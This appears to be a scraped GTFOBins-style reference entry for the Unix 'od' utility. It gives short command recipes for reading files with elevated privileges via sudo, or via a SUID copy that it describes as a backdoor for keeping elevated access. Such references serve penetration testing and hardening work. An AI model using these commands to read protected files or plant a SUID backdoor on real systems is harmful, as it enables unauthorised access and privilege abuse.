Three spaces are added before each character in the read file, and non-printable chars are printed as backslash escape sequences.
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read
od -An -c -w9999 "$LFILE"It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which od) .; chmod +s ./od'
LFILE=file_to_read
./od -An -c -w9999 "$LFILE"It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
LFILE=file_to_read
sudo od -An -c -w9999 "$LFILE"